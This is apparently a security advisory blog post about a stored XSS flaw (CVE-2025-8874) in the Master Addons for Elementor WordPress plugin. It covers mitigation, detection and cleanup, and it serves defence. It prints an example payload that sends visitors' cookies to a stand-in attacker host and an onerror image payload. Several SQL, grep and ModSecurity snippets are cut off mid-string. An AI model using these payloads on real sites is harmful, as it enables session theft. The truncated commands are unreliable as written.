| Plugin Name | Master Addons for Elementor |
|---|---|
| Type of Vulnerability | Authenticated Stored XSS |
| CVE Number | CVE-2025-8874 |
| Urgency | Low |
| CVE Publish Date | 2025-08-11 |
| Source URL | CVE-2025-8874 |
Master Addons for Elementor (<= 2.0.9.0) — Authenticated Contributor Stored XSS via fancyBox (CVE-2025-8874): what site owners need to know and how to protect their WordPress sites
Summary
A stored cross-site scripting (XSS) vulnerability affecting Master Addons for Elementor (fixed in 2.0.9.1) allows an authenticated user with Contributor-level privileges to store malicious HTML/JavaScript via the plugin’s use of the fancyBox lightbox/caption fields. The stored payload executes when visitors view affected front-end pages. Although the CVSS score is moderate (6.5), the practical impact can be significant — arbitrary script execution in your domain context, which can lead to site defacement, redirects, cookie theft, or chained attacks against higher-privileged users.
This post, written with a pragmatic Hong Kong security expert tone, explains what happened, how it can be exploited, immediate mitigations you can apply before patching, detection and cleanup steps, and developer guidance to reduce recurrence.
This post covers
- What happened and which versions are affected
- Technical root cause and likely exploit path
- Immediate mitigations you can apply right now (server/site-level)
- Detection and cleanup guidance (including WP-CLI and SQL examples)
- Developer notes for plugin authors and site integrators
Vulnerability at a glance
- Affected plugin: Master Addons for Elementor — versions <= 2.0.9.0
- Fixed in: 2.0.9.1
- Vulnerability: Stored Cross-Site Scripting (XSS) via fancyBox usage
- CVE: CVE-2025-8874
- Required privilege: Contributor (authenticated user)
- Impact: Stored XSS executed in the context of the site when a visitor opens a fancyBox item or when the plugin renders unsanitized fields
- Patch priority: Low/Moderate (exploitability depends on contributor access and theme/plugin usage)
Why this matters: stored XSS is persistent
Stored XSS means an attacker stores a malicious payload on the site (in the database or persistent storage) and that payload is later delivered to other users’ browsers without proper encoding or sanitization. Unlike reflected XSS, an attacker doesn’t need to trick a victim into clicking a crafted URL; they only need the ability to save content that will be viewed by others.
Contributor accounts on many sites can upload images, edit captions, or create gallery items. If those fields are rendered into HTML attributes or caption markup by the plugin without escaping, an attacker can inject JavaScript that runs for visitors and administrators.
Technical explanation — how the exploit works (high level)
- The plugin uses fancyBox to render images/lightboxes on the front end. fancyBox supports attributes like data-caption, title, and other parameters that can contain HTML.
- The plugin stores user-supplied strings (captions, titles, alt text, meta fields) in post meta or widget settings and outputs them into front-end markup. In some plugin versions the output is not properly sanitized/escaped.
- A contributor user creates or edits content (image caption, widget settings) and injects HTML/JavaScript payloads — e.g. inline <script> tags, onerror attributes, or event handlers inside markup stored in a caption or data attribute.
- When a visitor opens the fancyBox or when the gallery widget is rendered, the stored HTML is inserted into the DOM and the browser executes the attacker-controlled script.
Example (simplified)
An attacker stores a caption such as:
<script>fetch('https://attacker.example/collect?c='+document.cookie)</script>If the plugin writes this caption into the page without escaping:
<div class="fancybox-caption"></div>the script runs in the user’s browser when they view the page.
Another common vector is payloads in image attributes:
<img src="x" onerror="/* malicious JS */">If the fancyBox output inserts attributes into the DOM unsafely, the onerror will execute when the lightbox attempts to load the invalid src.
Immediate actions for site owners (fast, before patching)
If you manage sites with the affected plugin and cannot update immediately, perform the following actions in order to reduce exposure and buy time for full remediation.
-
Update the plugin to 2.0.9.1 (recommended)
The vendor released a fix in 2.0.9.1. This is the safest and most permanent action — update immediately where possible.
-
Temporarily restrict contributor activity
Change Contributor users to a lower-risk role (e.g., Subscriber) or temporarily disable new contributor registrations. If contributors are required for workflow, move to an editor-managed approval process until patched.
-
Disable vulnerable widgets/features
If you control theme or page templates, temporarily remove or disable gallery/lightbox widgets supplied by the plugin. Remove shortcodes, widgets, or Elementor elements that render fancyBox or gallery output until the site is patched.
-
Apply an emergency server rule or virtual patch
Block incoming requests that include suspicious payloads targeting known fancyBox fields or admin endpoints where contributors post data. Examples to inspect and block:
- POST requests to admin-ajax.php, wp-admin/post.php, post-new.php that contain <script> tags or onerror= attributes in form fields.
- Requests containing data-fancybox or data-caption fields with script tags.
If you operate ModSecurity or similar host-level rules, enable a rule that inspects request bodies for angle-bracket characters in fields that should be plain text.
-
Add a restrictive Content Security Policy (CSP) temporarily
A strict CSP can prevent inline script execution and reduce the risk of stored XSS payloads executing. Example (test first — this can break site functionality):
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; object-src 'none'; base-uri 'self'Note: CSPs require site-specific tuning. Test on staging before applying to production.
-
Tighten file upload controls
Ensure Contributors cannot upload files with dangerous extensions. Limit MIME types and monitor server upload directories for unexpected files.
-
Monitor logs and traffic
Look for unusual admin POST traffic, new posts or attachments created by contributor accounts, and requests with suspicious payloads. Preserve logs for incident response.
Detection: how to find if your site has stored payloads
Use the following queries and commands to locate suspicious content in the WordPress database and files. Adapt to your DB prefix and environment.
Search posts and postmeta for HTML tags commonly used in XSS:
-- SQL (phpMyAdmin or via WP-CLI)
SELECT ID, post_title, post_author FROM wp_posts
WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror=%' OR post_content LIKE '%javascript:%';
SELECT post_id, meta_key, meta_value FROM wp_postmeta
WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%' OR meta_value LIKE '%data-fancybox%';
WP-CLI examples:
wp db query "SELECT ID, post_title, post_author FROM wp_posts WHERE post_content LIKE '%Search uploads and theme files for suspicious injections (run from WordPress root):
grep -RIn --exclude-dir=wp-content/uploads 'onerror\|Search for recently modified posts or files and focus on content created by Contributor-role users (adjust for your role storage):
SELECT ID, post_title, post_date, post_author FROM wp_posts
WHERE post_author IN (SELECT ID FROM wp_users WHERE user_role LIKE '%contributor%')
AND post_date > '2025-08-01';Cleaning up stored payloads
If you find injected content, follow a safe cleanup process:
- Backup first — full database and file backup before changes.
- Isolate and export the infected items for analysis (copy affected post_meta and post rows).
- Remove scripts and attributes safely:
- Use wp-cli or a safe PHP script to sanitize fields. Example remove <script> tags from post_content:
wp db query "UPDATE wp_posts SET post_content = REPLACE(post_content, ' - Or use a regex-based sanitization (test first):
wp db query "UPDATE wp_posts SET post_content = REGEXP_REPLACE(post_content, ' - For programmatic sanitization, load WordPress and apply wp_kses() or strip tags with care to preserve legitimate HTML.
- Use wp-cli or a safe PHP script to sanitize fields. Example remove <script> tags from post_content:
- Sanitize postmeta similarly:
wp db query "UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, ' - Check attachments and uploads for suspicious files (e.g., PHP in upload dirs, unexpected HTML files). Remove or quarantine.
- Rotate credentials — especially for admin users who may have viewed infected content during the exposure window.
- Scan for webshells/backdoors across themes, plugins and uploads. If you find signs of deeper compromise, consider professional incident response and restore from a clean backup.
Hardening and longer-term mitigations
- Keep plugins, WordPress core, and themes updated. Patching is the first line of defence.
- Enforce least privilege. Contributors should not be able to publish or upload without approval unless necessary.
- Implement a content approval workflow: editors or admins should review content before publication.
- Server-side input validation and context-aware escaping on every output point: treat all user-supplied strings as untrusted.
- Add CSP and SRI (Subresource Integrity) where practical to reduce impact of injected scripts.
- Validate fields displayed in attributes (data-*, title, alt, caption). Sanitize for attributes or encode as plain text.
- Limit allowed markup in captions; if captions are intended as plain text, strip HTML tags on save.
How a Web Application Firewall (WAF) can help immediately
A WAF can provide virtual patching — blocking exploitation patterns before the server-side fix is applied. Ways a WAF can mitigate this issue:
- Block POST bodies containing suspicious tokens (e.g., <script>, onerror=, javascript:) submitted to endpoints where contributors make changes (admin-ajax.php, post.php, post-new.php).
- Prevent stored XSS payloads from being written by sanitizing or rewriting suspicious characters in requests.
- Inspect outgoing HTML to catch known attack payloads and block or sanitize dangerous attributes.
- Apply rate limits or additional verification for accounts with Contributor privileges when unusual content patterns are detected.
- Monitor attempted exploitation and alert administrators for investigation.
Example conceptual ModSecurity-style rule (test and tune carefully):
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (Be cautious: false positives can occur where legitimate HTML is used (some themes/plugins rely on HTML in captions). Restrict rules to admin endpoints and authenticated contributor accounts where possible.
Developer guidance (for plugin authors and integrators)
- Escape output according to context:
- Use esc_html() for body text content
- Use esc_attr() for attribute values
- Use wp_kses() with a strict allowlist if some HTML is permitted
- Validate input on save:
- Strip disallowed tags for fields intended as plain text
- Reject or sanitize attributes that could contain event handlers (onerror, onclick) or javascript: URIs
- Avoid rendering user-provided content into data-* attributes that are later injected as HTML.
- When integrating third-party libraries like fancyBox, ensure content passed to the library is sanitized and escaped.
- Implement capability checks and nonces for form submissions. Confirm Contributor capabilities can’t bypass sanitization.
- Offer admin configuration to treat captions as plain text by default and provide explicit opt-in for HTML captions.
Monitoring and post-incident checklist
- Preserve logs: access, error and application logs.
- Isolate affected site if necessary: use maintenance mode or restrict access while investigating.
- Identify affected objects: posts, postmeta, attachments, widgets.
- Clean and restore from clean backup if you cannot confidently remove malicious content.
- Rotate passwords and API keys for users that may have viewed malicious content in an administrative context.
- Review for lateral movement: check for malware or webshells in uploads and theme/plugin directories.
Multisite considerations
On multisite networks, a Contributor on one site may be able to inject content that affects network visitors. Coordinate patching across all subsites and consider disabling or removing the vulnerable plugin network-wide until updated.
Why this wasn’t labeled “critical” — and why you should still care
The vulnerability requires an authenticated Contributor to introduce the payload, reducing unauthenticated exploitability and affecting scoring. However:
- Many sites accept Contributor accounts (guest bloggers, external contributors).
- Contributor accounts may be created through weak onboarding or insufficient verification.
- Stored XSS can be pivoted into more serious compromise if an administrator views infected content in a privileged context.
Treat this as an operational risk and apply mitigations promptly.
Best-practice checklist (quick reference)
- Update Master Addons for Elementor to 2.0.9.1 immediately.
- Temporarily restrict Contributor accounts and block new registrations if you can’t patch right away.
- Scan wp_posts and wp_postmeta for <script>, onerror=, javascript:, data-fancybox, and other suspicious tokens.
- Run a full malware scan on files and uploads; remove suspicious files.
- Add server rules to block request bodies with script tags to admin endpoints.
- Consider a CSP to mitigate inline script execution while you clean up.
- Rotate credentials and review user activity logs.
- Harden input validation and escaping on any custom code or integrations.
Conclusion
CVE-2025-8874 (stored XSS in Master Addons via fancyBox) illustrates how insufficient output escaping combined with user-supplied content can lead to persistent XSS even when the attacker’s privileges are limited. The vendor has released a fix (2.0.9.1). Immediate steps include restricting contributor activity, disabling the vulnerable widget, applying server-side rules, searching for and sanitizing stored payloads, and enabling scanning and monitoring.
If you need assistance beyond the guidance here, contact your hosting security contact or a trusted security professional for incident response and remediation support.
Appendix: useful commands and snippets
Search for suspicious post content (WP-CLI):
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%Sanitize found post_content by removing <script> tags (test before running):
wp db query "UPDATE wp_posts SET post_content = REGEXP_REPLACE(post_content, ']*>.*?', '', 'i') WHERE post_content REGEXP ']*>.*?'; " Search postmeta for data-fancybox entries:
wp db query "SELECT post_id, meta_key FROM wp_postmeta WHERE meta_value LIKE '%data-fancybox%' OR meta_value LIKE '%fancybox%';"Conceptual ModSecurity rule (test and tune):
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (Content Security Policy header example (test carefully):
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"Final note
Security is both technical and operational. Patching is critical, but processes matter too: validate contributor workflows, vet third-party contributors, and ensure monitoring and virtual protections are in place to reduce the window of exposure. If you need help implementing any of the technical steps above, seek a qualified security professional to assist with scanning, rule tuning and remediation.
